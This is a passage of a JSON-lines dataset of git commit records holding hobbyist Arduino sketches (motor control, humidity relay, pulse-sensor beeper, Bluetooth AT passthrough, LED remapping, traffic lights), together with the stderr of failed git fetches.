0..11)\nbyte actual_min; \/\/ Minutes\n\n\/\/ Current time on the clock\nbyte clock_hour = 255; \/\/ Hours mod 12; unknown=255\nbyte clock_min = 255; \/\/ Minutes; unknown=255\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ CODE\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println(\"Hello!\");\n}\n\n\nvoid loop()\n{\n fishduino.Update();\n\n \/\/ If the minute sensor turned off, turn the minute motor off\n if (sensor_m.WasOn() && sensor_m.IsOff())\n {\n motor_min.Stop();\n }\n\n\n static unsigned long m = millis() - 60001;\n unsigned long c = millis();\n\n if (c - m > 60000)\n {\n motor_min.Clockwise();\n\n m = c;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Fishduino_Clock\/Fishduino_Clock.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"9757c06d6c7a228f9eefa048547ab0d074c98146","subject":"Added in Andy and Hayden's motor control code.","message":"Added in Andy and Hayden's motor control code.\n","repos":"kekraft\/golden_eye,kekraft\/golden_eye,kekraft\/golden_eye","old_file":"extra\/motor_control.ino","new_file":"extra\/motor_control.ino","new_contents":"int MotorA = 3;\nint MotorB = 5;\nint val = 0;\nchar motorSelectA = 0;\nchar motorSelectB = 0;\n\nvoid setup(){\npinMode(MotorA,OUTPUT);\npinMode(MotorB,OUTPUT);\nSerial.begin(9600);\n}\n\nvoid loop(){\n if( Serial.available() >= 4 ) {\n char prefix = Serial.read();\n motorSelectA = (prefix == 'a');\n motorSelectB = (prefix == 'b');\n \n char dec;\n val = 0;\n for (int i=100; i>=1; i\/=10) {\n dec = Serial.read() - '0';\n val += dec * i;\n }\n \n Serial.write(\"Got \");Serial.println(val,DEC);\n Serial.flush(); \/\/ get rid of excess\n }\n \n if (motorSelectA) analogWrite(MotorA,val);\n if (motorSelectB) analogWrite(MotorB,val);\n motorSelectA = motorSelectB = 0;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'extra\/motor_control.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"b1c2912458e93b3bd497b1dc95150d1e507ae043","subject":"a steam controller with 30V - 5V relay enabled with dht11 and Arduino","message":"a steam controller with 30V - 5V relay enabled with dht11 and Arduino\n","repos":"yaman\/steamfactory","old_file":"steamfactory.ino","new_file":"steamfactory.ino","new_contents":"#include <dht.h>\n\ndht DHT;\n\n#define DHT11_PIN 6\nint ledPin = 2;\n\nvoid setup()\n{\n Serial.begin(9600); \n \n pinMode(ledPin, OUTPUT);\n}\n\nvoid loop()\n{\n delay(2000);\n int chk = DHT.read11(DHT11_PIN);\n\n switch (chk)\n {\n case DHTLIB_OK:\n Serial.println(\"-----------------------------------------\");\n Serial.print(\"Humidity : %\");\n Serial.println(DHT.humidity);\n Serial.print(\"Temp : \");\n Serial.print(DHT.temperature);\n Serial.println(\"C\");\n arrangeHumidity();\n break;\n case DHTLIB_ERROR_CHECKSUM:\n Serial.println(\"Checksum error\");\n break;\n case DHTLIB_ERROR_TIMEOUT:\n Serial.println(\"Time out error\");\n break;\n default:\n Serial.println(\"Unknown error\");\n break;\n }\n}\n\nvoid arrangeHumidity() {\n if (DHT.humidity < 56) {\n Serial.println(\"Humidity is below %56\");\n digitalWrite(ledPin, LOW);\n } else if (DHT.humidity > 56) {\n Serial.println(\"Humidity is above %56\");\n digitalWrite(ledPin, HIGH);\n }\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"apache-2.0","lang":"Arduino"} {"commit":"60c375d326b4c7c3035546072de1cbfd49857879","subject":"trying an ultra-lightweight thread library with the processor","message":"trying an ultra-lightweight thread library with the processor\n","repos":"nicksutera\/railroad,nicksutera\/railroad,nicksutera\/railroad","old_file":"arduino\/threadTest\/threadTest.ino","new_file":"arduino\/threadTest\/threadTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nicksutera\/railroad.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e475845a29512e0de9052b16a335f999a8d5a6de","subject":"commit test","message":"commit test\n","repos":"davidtjones\/quad-gy80,davidtjones\/quad-gy80","old_file":"src\/quad-gy80.ino","new_file":"src\/quad-gy80.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/davidtjones\/quad-gy80.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"322c3b7ec70ffeefce175060e1b351a71aa57f9e","subject":"Added Speaker Example","message":"Added Speaker Example\n","repos":"bneedhamia\/PulseSensorBPM","old_file":"examples\/PulseSensor_Speaker\/PulseSensor_Speaker.ino","new_file":"examples\/PulseSensor_Speaker\/PulseSensor_Speaker.ino","new_contents":"\/*\n Code to detect pulses from the PulseSensor,\n using an interrupt service routine.\n\n >>>> THIS EXAMPLE OUTPUTS USES TONE COMMAND <<<<\n >>>> TO MAKE A SPEAKER BEEP WITH HEARTBEAT! <<<<\n\n See https:\/\/www.pulsesensor.com\n\n Copyright World Famous Electronics LLC - see LICENSE\n Contributors:\n Joel Murphy, https:\/\/pulsesensor.com\n Yury Gitman, https:\/\/pulsesensor.com\n Bradford Needham, @bneedhamia, https:\/\/bluepapertech.com\n\n Licensed under the MIT License, a copy of which\n should have been included with this software.\n\n This software is not intended for medical use.\n*\/\n\n\/*\n Every Sketch that uses the PulseSensor Playground must\n define USE_ARDUINO_INTERRUPTS before including PulseSensorPlayground.h.\n Here, #define USE_ARDUINO_INTERRUPTS true tells the library to use\n interrupts to automatically read and process PulseSensor data.\n\n See ProcessEverySample.ino for an example of not using interrupts.\n*\/\n#define USE_ARDUINO_INTERRUPTS true\n#include <PulseSensorPlayground.h>\n\n\/*\n The format of our output.\n\n Set this to PROCESSING_VISUALIZER if you're going to run\n the Processing Visualizer Sketch.\n See https:\/\/github.com\/WorldFamousElectronics\/PulseSensor_Amped_Processing_Visualizer\n\n Set this to SERIAL_PLOTTER if you're going to run\n the Arduino IDE's Serial Plotter.\n*\/\nconst int OUTPUT_TYPE = PROCESSING_VISUALIZER;\n\n\/*\n Pinout:\n PIN_INPUT = Analog Input. Connected to the pulse sensor\n purple (signal) wire.\n PIN_BLINK = digital Output. Connected to an LED (and 220 ohm resistor)\n that will flash on each detected pulse.\n PIN_FADE = digital Output. PWM pin onnected to an LED (and resistor)\n that will smoothly fade with each pulse.\n NOTE: PIN_FADE must be a pin that supports PWM. Do not use\n pin 9 or 10, because those pins' PWM interferes with the sample timer.\n*\/\nconst int PIN_INPUT = A0;\nconst int PIN_BLINK = 13; \/\/ Pin 13 is the on-board LED\nconst int PIN_FADE = 5;\n\n\/*\n All the PulseSensor Playground functions.\n*\/\nPulseSensorPlayground pulseSensor;\n\n\/*\n Setup the things we need for driving the Speaker\n NOTE: Speaker MUST be AC coupled! Connect PIN_SPEAKER to red speaker wire.\n Then connect black speaker wire to + side of electrolytic capacitor.\n Then connect - side of electrolytic capacitor to GND.\n Capacitor value should be 1uF or higher!\n Follow this tutorial:\n [link]\n*\/\nconst int PIN_SPEAKER = 2; \/\/ speaker on pin2 makes a beep with heartbeat\n\n\nvoid setup() {\n \/*\n Use 115200 baud because that's what the Processing Sketch expects to read,\n and because that speed provides about 11 bytes per millisecond.\n\n If we used a slower baud rate, we'd likely write bytes faster than\n they can be transmitted, which would mess up the timing\n of readSensor() calls, which would make the pulse measurement\n not work properly.\n *\/\n Serial.begin(115200);\n\n \/\/ Configure the PulseSensor manager.\n\n pulseSensor.analogInput(PIN_INPUT);\n pulseSensor.blinkOnPulse(PIN_BLINK);\n pulseSensor.fadeOnPulse(PIN_FADE);\n\n pulseSensor.setSerial(Serial);\n pulseSensor.setOutputType(OUTPUT_TYPE);\n\n \/\/ Now that everything is ready, start reading the PulseSensor signal.\n if (!pulseSensor.begin()) {\n \/*\n PulseSensor initialization failed,\n likely because our particular Arduino platform interrupts\n aren't supported yet.\n\n If your Sketch hangs here, try ProcessEverySample.ino,\n which doesn't use interrupts.\n *\/\n for(;;) {\n \/\/ Flash the led to show things didn't work.\n digitalWrite(PIN_BLINK, LOW);\n delay(50);\n digitalWrite(PIN_BLINK, HIGH);\n delay(50);\n }\n }\n}\n\nvoid loop() {\n \/*\n Wait a bit.\n We don't output every sample, because our baud rate\n won't support that much I\/O.\n *\/\n delay(20);\n\n \/\/ write the latest sample to Serial.\n pulseSensor.outputSample();\n\n \/*\n If a beat has happened since we last checked,\n write the per-beat information to Serial.\n write a frequency to the PIN_SPEAKER\n NOTE: Do not set the optional duration of tone! That is blocking!\n *\/\n if (pulseSensor.sawStartOfBeat()) {\n pulseSensor.outputBeat();\n tone(PIN_SPEAKER,1047); \/\/ tone(pin,frequency)\n }\n\n \/*\n The Pulse variable is true only for a short time after heartbeat detected\n Use this to time the duration of the beep \n *\/\n if(pulseSensor.Pulse = false){\n noTone(PIN_SPEAKER);\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/PulseSensor_Speaker\/PulseSensor_Speaker.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"23bf6d45545d0be0b9c6989f11deba667f01e290","subject":"Sketch stub","message":"Sketch stub\n","repos":"projectfaar\/smart-cart,projectfaar\/smart-cart","old_file":"Arduino Sketch\/cart.ino","new_file":"Arduino Sketch\/cart.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/projectfaar\/smart-cart.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"653d007d4d40cac7ef83b32a4c2a1b116386c6d1","subject":"Bluetooth AT","message":"Bluetooth AT\n","repos":"ChaitanyaBaweja\/BlackCloud,ChaitanyaBaweja\/BlackCloud","old_file":"Arduino\/bluetoothAT\/bluetoothAT.ino","new_file":"Arduino\/bluetoothAT\/bluetoothAT.ino","new_contents":"\/* Program to test AT commands on HC-05 module: \n - Sets \"Key\" pin on HC-05 HIGH to enable command mode\n - The HC-05 LED Blink SLOWLY: 2 seconds ON\/OFF \n Connections: GND to HC-05 GND, Pin 2 to HC-05 TXD, \n Pin 3 to HC-05 RXD, Pin 4 to HC-05 KEY, \n Pin 5V to HC-05 VCC for power control\n*\/\n\/* Copyright (C) <2016> <Chaitanya Baweja> <http:\/\/www.gnu.org\/licenses\/>\n \n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU Affero General Public License as published\n by the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n*\/\n\n#include <SoftwareSerial.h> \n#define ARDUINO_RXD 2\n#define ARDUINO_TXD 3\n#define KEY 4\n\nSoftwareSerial BTSerial(ARDUINO_RXD, ARDUINO_TXD); \/\/ RX | TX\n\nvoid setup() \n{\n pinMode(KEY, OUTPUT); \/\/ this pin will pull the HC-05 pin 34 (key pin) HIGH to switch module to AT mode\n digitalWrite(KEY, HIGH); \/\/ Set command mode when powering up\n pinMode(5,OUTPUT);\n Serial.begin(9600);\n delay(2000);\n digitalWrite(5,HIGH); \n Serial.println(\"Enter AT commands: \");\n BTSerial.begin(38400); \/\/ HC-05 default speed in AT command mode\n\n}\n\n\nvoid loop() \n{\n \/\/ READ from HC-05 and WRITE to Arduino Serial Monitor\n if (BTSerial.available())\n Serial.write(BTSerial.read());\n\n \/\/ READ Arduino Serial Monitor and WRITE to HC-05\n if (Serial.available())\n BTSerial.write(Serial.read());\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/bluetoothAT\/bluetoothAT.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"f7fa8c5cfe6b8116d388514ce2e7f58c2fea7b86","subject":"Add KeyboardSerial","message":"Add KeyboardSerial\n","repos":"tommykw\/TV,tommykw\/TV","old_file":"KeyboardSerial.ino","new_file":"KeyboardSerial.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tommykw\/TV.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0ae16762fdb1b09624f29ae925bf69c25c28e406","subject":"Create Test.ino","message":"Create Test.ino","repos":"gskielian\/Arduino-DataLogging,gskielian\/Arduino-DataLogging,gskielian\/Arduino-DataLogging","old_file":"Bash-One-Liner\/Test.ino","new_file":"Bash-One-Liner\/Test.ino","new_contents":"int x=0;\nvoid setup()\n{\n Serial.begin(9600);\n}\n\nvoid loop()\n{\n Serial.println(x++);\n delay(10);\n}\n\n\/\/we can recover the date later with `date -r unixtime` e.g. `date -r 1390045244`\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Bash-One-Liner\/Test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"79f3fa773b1971eb309953efe67e633afdfd1b5e","subject":"Create remapping_fix_example.ino","message":"Create remapping_fix_example.ino","repos":"marmilicious\/FastLED_examples","old_file":"remapping_fix_example.ino","new_file":"remapping_fix_example.ino","new_contents":"\/\/***************************************************************\n\/\/ Remapping to fix a wacky layout.\n\/\/ This also will then also allow the use of CRGBSet.\n\/\/ Marc Miller, Jan 2017\n\/\/***************************************************************\n\/\/\n\/\/ Have this layout: Want to operate on this layout:\n\/\/ 2 3 4 3 4 5 \n\/\/ 1 5 2 6\n\/\/ 0 6 1 7\n\/\/ 11 7 0 8 \n\/\/ 10 9 8 11 10 9\n\/\/\n\/\/ 14 15 16 15 16 17\n\/\/ 13 17 14 18\n\/\/ 12 18 13 19\n\/\/ 23 19 12 20\n\/\/ 22 21 20 23 22 21\n\/\/\n\/\/ etc..\n\/\/\n\/\/\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define DATA_PIN 11\n#define CLK_PIN 13\n#define LED_TYPE LPD8806\n#define COLOR_ORDER GRB\n#define BRIGHTNESS 255\n\n#define NumberOfDiamonds 3 \/\/3\n#define PixelsPerDiamond 12 \/\/12\n#define NUM_LEDS (NumberOfDiamonds * PixelsPerDiamond)\n\n\/* CRGB leds[NUM_LEDS]; ***Not using this. Using CRGBArray instead.****\/ \nCRGBArray<NUM_LEDS> leds; \/\/ Operate on this array as if it had the correct layout.\nCRGBArray<NUM_LEDS> actual; \/\/ Display this array after mapping \"leds\" to \"actual\".\n\n\/\/Since we'll opperate on our nicely arranged \"leds\" array, we can make a CRGBSet for each diamond.\nCRGBSet d0( leds(PixelsPerDiamond*0, PixelsPerDiamond-1+(PixelsPerDiamond*0) )); \/\/Define pixel range for diamond 0.\nCRGBSet d1( leds(PixelsPerDiamond*1, PixelsPerDiamond-1+(PixelsPerDiamond*1) )); \/\/Define pixel range for diamond 1.\nCRGBSet d2( leds(PixelsPerDiamond*2, PixelsPerDiamond-1+(PixelsPerDiamond*2) )); \/\/Define pixel range for diamond 2.\n\/\/etc..\n\n\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(3000); \/\/ 3 second delay for recovery\n\n \/\/***NOTE: Putting the CRGBArray \"actual\" in here, not \"leds\"***\n FastLED.addLeds<LED_TYPE,DATA_PIN,CLK_PIN,COLOR_ORDER>(actual, NUM_LEDS);\n\n FastLED.setBrightness(BRIGHTNESS);\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n\n EVERY_N_SECONDS(3){\n static uint8_t hue;\n for (uint8_t n=0; n < NumberOfDiamonds; n++){\n fill_rainbow( &(leds[ (n*PixelsPerDiamond) ]), PixelsPerDiamond, hue+millis(), 8 );\n }\n }\n\n EVERY_N_SECONDS(12){\n random16_add_entropy( random() );\n uint8_t randomColor = random8(); \/\/pick a random color\n d0 = CHSV(randomColor,170,150);\n d1 = CHSV(randomColor+64,170,150);\n d2 = CHSV(randomColor-64,170,150);\n }\n\n remap(); \/\/***Always run the remap function just before calling show().***\n FastLED.show();\n\n}\/\/end_main_loop\n\n\n\/\/---------------------------------------------------------------\n\/\/ Function to remap \"leds\" array to \"actual\" array\nvoid remap() {\n uint8_t mapped;\n uint8_t diamondNumber;\n for (uint8_t i=0; i < NUM_LEDS; i++) {\n if (i % PixelsPerDiamond == 0) {\n diamondNumber = i \/ PixelsPerDiamond;\n mapped = (diamondNumber * PixelsPerDiamond) + 11;\n actual[i] = leds[mapped];\n \/\/Serial.print(\"Diamond#: \"); Serial.println(diamondNumber); \n } else {\n mapped = i-1;\n actual[i] = leds[mapped];\n }\n \/\/Serial.print(\" For leds[i] = \"); Serial.print(i); Serial.print(\" actual[i] = \"); Serial.println(mapped);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'remapping_fix_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e76f70e353412a0633afeef1ce47cad2a9b4be62","subject":"drobne czyszczenie","message":"drobne czyszczenie\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/msensors\/wyms04\/wyms04.ino","new_file":"modules\/msensors\/wyms04\/wyms04.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a8198a95f2af93c8e50011118a06b64a958c4888","subject":"done?","message":"done?\n","repos":"Au1st3in\/fall2015-e121-arduino-code,Au1st3in\/fall2015-e121-arduino-code","old_file":"robot_main\/robot_main.ino","new_file":"robot_main\/robot_main.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Au1st3in\/fall2015-e121-arduino-code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bb60421ce079e2af6dad9968adf5b17a8380a8c0","subject":"add om library","message":"add om library\n","repos":"ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR","old_file":"arduino\/opencr_arduino\/opencr\/libraries\/OpenManipulator\/example\/OPM_for_Arduino\/rtos_test\/rtos_test.ino","new_file":"arduino\/opencr_arduino\/opencr\/libraries\/OpenManipulator\/example\/OPM_for_Arduino\/rtos_test\/rtos_test.ino","new_contents":"#include <RTOS.h>\n#include <OpenManipulator.h>\n\nosThreadId thread_id_loop;\nosThreadId thread_id_led;\n\nOMDynamixel<1,1000000> omDynamixel;\n\nstatic void Thread_Loop(void const *argument)\n{\n (void) argument;\n\n for(;;)\n {\n loop();\n }\n}\n\nvoid setup() \n{\n Serial.begin(115200);\n\n omDynamixel.init();\n omDynamixel.setPositionControlMode(1);\n omDynamixel.setEnable(1);\n\n \/\/ define thread\n osThreadDef(THREAD_NAME_LOOP, Thread_Loop, osPriorityNormal, 0, 1024);\n osThreadDef(THREAD_NAME_LED, Thread_Led, osPriorityNormal, 0, 1024);\n\n \/\/ create thread\n thread_id_loop = osThreadCreate(osThread(THREAD_NAME_LOOP), NULL);\n thread_id_led = osThreadCreate(osThread(THREAD_NAME_LED), NULL);\n\n \/\/ start kernel\n osKernelStart();\n}\n\nvoid loop() \n{\n float* angle = omDynamixel.getAngle();\n Serial.print(\"angle : \"); Serial.println(angle[0]);\n\n omDynamixel.setAngle(1, 1000);\n \/\/ static uint32_t cnt = 0;\n \n \/\/ Serial.print(\"RTOS Cnt : \");\n \/\/ Serial.println(cnt++);\n osDelay(100); \n}\n\nstatic void Thread_Led(void const *argument)\n{\n (void) argument;\n\n \/\/ pinMode(13, OUTPUT);\n\n for(;;)\n {\n \/\/ digitalWrite(13, !digitalRead(13));\n \/\/ osDelay(300);\n\n \/\/ pose = getPose()\n \/\/ state = getState()\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/opencr_arduino\/opencr\/libraries\/OpenManipulator\/example\/OPM_for_Arduino\/rtos_test\/rtos_test.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ef1decf07ab585627560e7496f3e9e5591412688","subject":"add xml parse of twilight tags","message":"add xml parse of twilight tags\n","repos":"cwilkens\/helioscope-lamp","old_file":"helioscope\/helioscope.ino","new_file":"helioscope\/helioscope.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/cwilkens\/helioscope-lamp.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"96b8f7835ed42100e9c15b9582fa7755a4e8f026","subject":"added wifi setup","message":"added wifi setup\n","repos":"dddutz\/jarvas-indoor-positioning-system,dddutz\/jarvas-indoor-positioning-system,dddutz\/jarvas-indoor-positioning-system,dddutz\/jarvas-indoor-positioning-system,dddutz\/jarvas-indoor-positioning-system,dddutz\/jarvas-indoor-positioning-system,dddutz\/jarvas-indoor-positioning-system","old_file":"wifi-setup\/wifi-setup.ino","new_file":"wifi-setup\/wifi-setup.ino","new_contents":"\nvoid setup() {\n \/\/ Serial is for communication between computer and board.\n \/\/ Serial1 is for communication between board and wifi module.\n Serial.begin(74880); \/\/ 74880\n Serial1.begin(115200);\n delay(1000);\n Serial1.print(\"AT+UART_CUR=74880,8,1,0,0\\r\\n\");\n delay(2000);\n Serial1.begin(74880); \n}\n\nvoid loop() {\n if(Serial1.available() > 0){\n Serial.write(Serial1.read());\n }\n if(Serial.available() > 0){\n Serial1.write(Serial.read());\n }\n}\n\n\/\/ AT -> OK\n\/\/ AT+CWMODE=1 -> OK\n\/\/ AT+CWLAP -> find ssid\n\/\/ AT+CWJAP=\"ssid\",\"pwd\"\n\/\/ AT+CIFSR -> ensure valid IP\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'wifi-setup\/wifi-setup.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a7fbb3b16a55821ca2143299b9bac5e128c37863","subject":"so it is acceleration settings \u2026","message":"so it is acceleration settings \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"87fd954b7045bef2e5dfffd0ac86ae26cf5c172a","subject":"PWM for Claw changed","message":"PWM for Claw changed\n","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Muscle\/Arduino Code\/MuscleLeonardo\/MuscleLeonardo.ino","new_file":"Muscle\/Arduino Code\/MuscleLeonardo\/MuscleLeonardo.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Muscle\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/MuscleLeonardo\/MuscleLeonardo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2d49fe961fd83ac8a6a8df5801abdd05f4ce477f","subject":"#1 Added ability to light three leds in a fixed delay.","message":"#1 Added ability to light three leds in a fixed delay.\n","repos":"shebin-thazheleth\/intelligent-traffic-intersection","old_file":"src\/main\/main.ino","new_file":"src\/main\/main.ino","new_contents":"int trafficLightCount = 3;\n\n\/\/ Contains array of traffic led pins. Pin 0 - green, pin 1 - amber, pin 3 - red.\nint trafficLights[] = { 0, 1, 2 };\n\n\/\/ Pin for controlling traffic\nint trafficController = 13;\n\n\/\/ Light delay\nint delayTime = 1000; \/\/1sec\n\nvoid setup() {\n \/\/ Put your setup code here, to run once:\n\n \/\/ Make all traffic light pins output\n for (int thisTrafficLight = 0; thisTrafficLight < trafficLightCount; thisTrafficLight++) {\n pinMode(trafficLights[thisTrafficLight], OUTPUT);\n }\n\n \/\/ Input pins\n pinMode(trafficController, INPUT);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n for (int thisTrafficLight = 0; thisTrafficLight < trafficLightCount; thisTrafficLight++) {\n digitalWrite(trafficLights[thisTrafficLight], HIGH);\n delay(delayTime);\n digitalWrite(trafficLights[thisTrafficLight], LOW);\n delay(delayTime);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/main\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f1660267a0fa8de3155f6c41d4ac827cd5e2558e","subject":"Working on trying to interface hardware timer","message":"Working on trying to interface hardware timer","repos":"jaredbriskman\/SoftSysAnarchisticAyeAye","old_file":"rawCsineFreq\/rawCsineFreq.ino","new_file":"rawCsineFreq\/rawCsineFreq.ino","new_contents":"#include <avr\/interrupt.h> \/\/ Use timer interrupt library\n\n\/******** Sine wave parameters ********\/\n#define PI2 6.283185 \/\/ 2*PI saves calculation later\n#define AMP 127 \/\/ Scaling factor for sine wave\n#define OFFSET 128 \/\/ Offset shifts wave to all >0 values\n\n\/******** Lookup table ********\/\n#define LENGTH 256 \/\/ Length of the wave lookup table\nunsigned char index=0; \/\/ Points to each table entry\nint wave[]={128,131,134,137,140,143,146,149,152,156,159,162,165,168,171,174,176,179,182,185,188,191,193,196,199,201,204,206,209,211,213,216,218,220,222,224,226,228,230,232,234,236,237,239,240,242,243,245,246,247,248,249,250,251,252,252,253,254,254,255,255,255,255,255,256,255,255,255,255,255,254,254,253,252,252,251,250,249,248,247,246,245,243,242,240,239,237,236,234,232,230,228,226,224,222,220,218,216,213,211,209,206,204,201,199,196,193,191,188,185,182,179,176,174,171,168,165,162,159,156,152,149,146,143,140,137,134,131,128,124,121,118,115,112,109,106,103,99,96,93,90,87,84,81,79,76,73,70,67,64,62,59,56,54,51,49,46,44,42,39,37,35,33,31,29,27,25,23,21,19,18,16,15,13,12,10,9,8,7,6,5,4,3,3,2,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,2,3,3,4,5,6,7,8,9,10,12,13,15,16,18,19,21,23,25,27,29,31,33,35,37,39,42,44,46,49,51,54,56,59,62,64,67,70,73,76,79,81,84,87,90,93,96,99,103,106,109,112,115,118,121,124};\n\nvoid setup() {\n\n\/* Populate the waveform table with a sine wave *\/\n \nDDRA=0xff;\n\n\/******** Set up timer2 to call ISR ********\/\n TCCR2A = 0; \/\/ No options in control register A\n TCCR2B = (1 << CS10); \/\/ Set prescaler to divide by 8\n TIMSK2 = (1 << OCIE2A); \/\/ Call ISR when TCNT2 = OCRA2\n OCR2A = 30; \/\/ Set frequency of generated wave\n sei(); \/\/ Enable interrupts to generate waveform!\n}\n\nvoid loop() { \/\/ Nothing to do!\n}\n\n\/******** Called every time TCNT2 = OCR2A ********\/\nISR(TIMER2_COMPA_vect) { \/\/ Called when TCNT2 == OCR2A\n PORTA = wave[index++]; \/\/ Update the PWM output\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rawCsineFreq\/rawCsineFreq.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bab9ba031a32c7881e9fda5773312ab9f6aa76b3","subject":"make it more like the environment sensor","message":"make it more like the environment sensor\n","repos":"cjhdev\/lora_device_lib,cjhdev\/lora_device_lib,cjhdev\/lora_device_lib,cjhdev\/lora_device_lib,cjhdev\/lora_device_lib","old_file":"bindings\/arduino\/modules\/debug_node\/debug_node.ino","new_file":"bindings\/arduino\/modules\/debug_node\/debug_node.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref bab9ba031a32c7881e9fda5773312ab9f6aa76b3\nfatal: the remote end hung up unexpectedly\n","license":"mit","lang":"Arduino"} {"commit":"177cbbee234bbc236693c33898e9b79a5627fad3","subject":"Testing a change for script to git pull from SPICE laptops","message":"Testing a change for script to git pull from SPICE laptops\n","repos":"ayocom\/spice-arduino,agoering\/spice-arduino","old_file":"Sounds and 